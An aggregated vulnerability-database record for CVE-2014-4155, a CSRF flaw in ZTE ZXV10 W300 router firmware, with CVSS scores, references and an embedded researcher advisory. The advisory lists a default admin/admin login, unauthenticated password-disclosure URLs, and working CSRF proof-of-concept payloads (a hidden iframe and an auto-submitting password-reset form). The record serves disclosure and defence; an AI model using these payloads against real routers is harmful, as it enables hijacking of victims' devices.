Sign-up

ID

VAR-201406-0150


CVE

CVE-2014-4155


TITLE

ZTE ZXV10 W300 Cross-site request forgery vulnerability in router firmware

Trust: 0.8

sources: JVNDB: JVNDB-2014-003003

DESCRIPTION

Cross-site request forgery (CSRF) vulnerability in the ZTE ZXV10 W300 router with firmware W300V1.0.0a_ZRD_LK allows remote attackers to hijack the authentication of administrators for requests that change the admin password via a request to Forms/tools_admin_1. The ZTE WXV10 W300 is a wireless router device. ZTE WXV10 W300 routers are prone to the following security vulnerabilities: 1. An insecure-default-password vulnerability. 2. Multiple information disclosure vulnerabilities. 3. A cross-site request-forgery vulnerability. An attacker can leverage these issues to obtain sensitive information, gain unauthorized administrative access, perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in further attacks. # Exploit Title: ZTE WXV10 W300 Multiple Vulnerabilities # Date: 17-05-2014 # Server Version: RomPager/4.07 UPnP/1.0 # Tested Routers: ZTE ZXV10 W300 # Firmware: W300V1.0.0a_ZRD_LK # ADSL Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0 # Tested on: Kali Linux x86_64 # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # Original write-up:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ #1| Default Password Being Used (CVE-2014-4018) ------------------------------------------------ In ZTE routers the username is a constant which is "admin" and the password by default is "admin" #2| ROM-0 Backup File Disclosure (CVE-2014-4019) ------------------------------------------------- The rom-0 backup file contains sensitive information such as the router password. There is a disclosure in which anyone can download that file without any authentication by a simple GET request. POC: http://192.168.1.1/rom-0 You can find the router password using my rom-0 configuration decompressor. http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html #3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154) --------------------------------------------------------------------- If you look at the frame source in the "Internet" tab under the "Interface Setup" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm. function doLoad() { var value = document.forms[0].wanTypeRadio[2].checked; doEnable(); QosCheck(); WANChkIdleTimeT(); if (value) pppStaticCheck(); LockWhenPVC0(); LockPVC(); if(document.forms[0].wan_PPPPassword != null) { document.forms[0].wan_PPPPassword.value = pwdppp; } } The "pwdpp" is loaded from an external file which you can see at the bottom of the page. <script language="javascript" src="/basic/tc2wanfun.js"></script> Once the user authenticates the router till another successful restart the password is written in that external JS file. POC: http://192.168.1.1/basic/tc2wanfun.js #4| Admin Password Manipulation CSRF (CVE-2014-4155) ----------------------------------------------------- You can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication. POC: <iframe src="http://192.168.1.1/Forms/tools_admin_1" width="0" height="0"></iframe> If you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password. Ofcourse since there is no XSRF token in the request you change the password as you wish. POC: <html> <body> <form name="exploit" action="http://192.168.1.1/Forms/tools_admin_1" method="POST"> <input type="hidden" name="uiViewTools&#95;Password" value="your_passwd" /> <input type="hidden" name="uiViewTools&#95;PasswordConfirm" value="your_passwd" /> <script>document.exploit.submit(); </script> </form> </body> </html> #5| Denial of Service ----------------------- You can see my previous post about this vulnerability and the exploit. https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ http://www.osvdb.org/show/osvdb/108076 http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html http://www.exploit-db.com/exploits/33737

Trust: 2.61

sources: NVD: CVE-2014-4155 // JVNDB: JVNDB-2014-003003 // CNVD: CNVD-2014-03841 // BID: 68082 // VULHUB: VHN-72095 // PACKETSTORM: 127129

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2014-03841

AFFECTED PRODUCTS

vendor:ztemodel:zxv10 w300scope:eqversion:1.0.0a_zrd_lk

Trust: 2.4

vendor:ztemodel:zxv10 w300scope:eqversion: -

Trust: 1.0

vendor:ztemodel:zxv10 w300scope: - version: -

Trust: 0.8

vendor:ztemodel:zxv10 w300 router v1.0.0a zrd lkscope: - version: -

Trust: 0.6

vendor:ztemodel:wxv10 w300scope:eqversion:0

Trust: 0.3

sources: CNVD: CNVD-2014-03841 // BID: 68082 // JVNDB: JVNDB-2014-003003 // CNNVD: CNNVD-201406-444 // NVD: CVE-2014-4155

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2014-4155
value: MEDIUM

Trust: 1.0

NVD: CVE-2014-4155
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2014-03841
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201406-444
value: MEDIUM

Trust: 0.6

VULHUB: VHN-72095
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2014-4155
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2014-03841
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-72095
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: CNVD: CNVD-2014-03841 // VULHUB: VHN-72095 // JVNDB: JVNDB-2014-003003 // CNNVD: CNNVD-201406-444 // NVD: CVE-2014-4155

PROBLEMTYPE DATA

problemtype:CWE-352

Trust: 1.9

sources: VULHUB: VHN-72095 // JVNDB: JVNDB-2014-003003 // NVD: CVE-2014-4155

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201406-444

TYPE

cross-site request forgery

Trust: 0.6

sources: CNNVD: CNNVD-201406-444

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2014-003003

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-72095

PATCH
title:ZXV10 W300Surl:http://wwwen.zte.com.cn/en/products/access/cpe/201302/t20130204_386351.html
Trust: 0.8
title:Patch for ZTE WXV10 W300 Cross-Site Request Forgery Vulnerabilityurl:https://www.cnvd.org.cn/patchInfo/show/46658
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2014-03841 // 
            
            
            
            JVNDB: JVNDB-2014-003003

EXTERNAL IDS
db:NVDid:CVE-2014-4155
Trust: 3.5
db:PACKETSTORMid:127129
Trust: 3.2
db:EXPLOIT-DBid:33803
Trust: 1.1
db:BIDid:68082
Trust: 0.9
db:JVNDBid:JVNDB-2014-003003
Trust: 0.8
db:CNNVDid:CNNVD-201406-444
Trust: 0.7
db:CNVDid:CNVD-2014-03841
Trust: 0.6
db:VULHUBid:VHN-72095
Trust: 0.1
db:EXPLOIT-DBid:33737
Trust: 0.1
db:OSVDBid:108076
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2014-03841 // 
            
            
            
            VULHUB: VHN-72095 // 
            
            
            
            BID: 68082 // 
            
            
            
            JVNDB: JVNDB-2014-003003 // 
            
            
            
            PACKETSTORM: 127129 // 
            
            
            
            CNNVD: CNNVD-201406-444 // 
            
            
            
            NVD: CVE-2014-4155

REFERENCES
url:http://packetstormsecurity.com/files/127129/zte-wxv10-w300-disclosure-csrf-default.html
Trust: 2.5
url:https://osandamalith.wordpress.com/2014/06/15/zte-wxv10-w300-multiple-vulnerabilities
Trust: 1.7
url:http://www.exploit-db.com/exploits/33803
Trust: 1.1
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-4155
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-4155
Trust: 0.8
url:https://osandamalith.wordpress.com/2014/06/15/zte-wxv10-w300-multiple-vulnerabilities/
Trust: 0.8
url:http://packetstormsecurity.com/files/127129/ztewxv10-defaultdisclosecsrfdos.txt
Trust: 0.6
url:http://wwwen.zte.com.cn/en/
Trust: 0.3
url:http://packetstormsecurity.com/files/127049/zte-tp-link-zynos-huawei-rom-0-configuration-decompressor.html
Trust: 0.1
url:http://192.168.1.1/basic/tc2wanfun.js
Trust: 0.1
url:http://192.168.1.1/rom-0
Trust: 0.1
url:http://packetstormsecurity.com/files/127076/zte-tp-link-rompager-denial-of-service.html
Trust: 0.1
url:http://www.osvdb.org/show/osvdb/108076
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4154
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4155
Trust: 0.1
url:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4019
Trust: 0.1
url:http://192.168.1.1/forms/tools_admin_1"
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4018
Trust: 0.1
url:http://www.exploit-db.com/exploits/33737
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2014-03841 // 
            
            
            
            VULHUB: VHN-72095 // 
            
            
            
            BID: 68082 // 
            
            
            
            JVNDB: JVNDB-2014-003003 // 
            
            
            
            PACKETSTORM: 127129 // 
            
            
            
            CNNVD: CNNVD-201406-444 // 
            
            
            
            NVD: CVE-2014-4155

CREDITS
Osanda Malith
Trust: 0.4
sources:
            
            
            BID: 68082 // 
            
            
            
            PACKETSTORM: 127129

SOURCES
db:CNVDid:CNVD-2014-03841
db:VULHUBid:VHN-72095
db:BIDid:68082
db:JVNDBid:JVNDB-2014-003003
db:PACKETSTORMid:127129
db:CNNVDid:CNNVD-201406-444
db:NVDid:CVE-2014-4155

LAST UPDATE DATE
2024-11-23T21:55:20.107000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2014-03841date:2014-06-24T00:00:00
db:VULHUBid:VHN-72095date:2014-07-18T00:00:00
db:BIDid:68082date:2014-06-17T00:00:00
db:JVNDBid:JVNDB-2014-003003date:2014-06-23T00:00:00
db:CNNVDid:CNNVD-201406-444date:2014-06-20T00:00:00
db:NVDid:CVE-2014-4155date:2024-11-21T02:09:35.993

SOURCES RELEASE DATE
db:CNVDid:CNVD-2014-03841date:2014-06-24T00:00:00
db:VULHUBid:VHN-72095date:2014-06-19T00:00:00
db:BIDid:68082date:2014-06-17T00:00:00
db:JVNDBid:JVNDB-2014-003003date:2014-06-23T00:00:00
db:PACKETSTORMid:127129date:2014-06-17T23:04:35
db:CNNVDid:CNNVD-201406-444date:2014-06-20T00:00:00
db:NVDid:CVE-2014-4155date:2014-06-19T14:55:08.050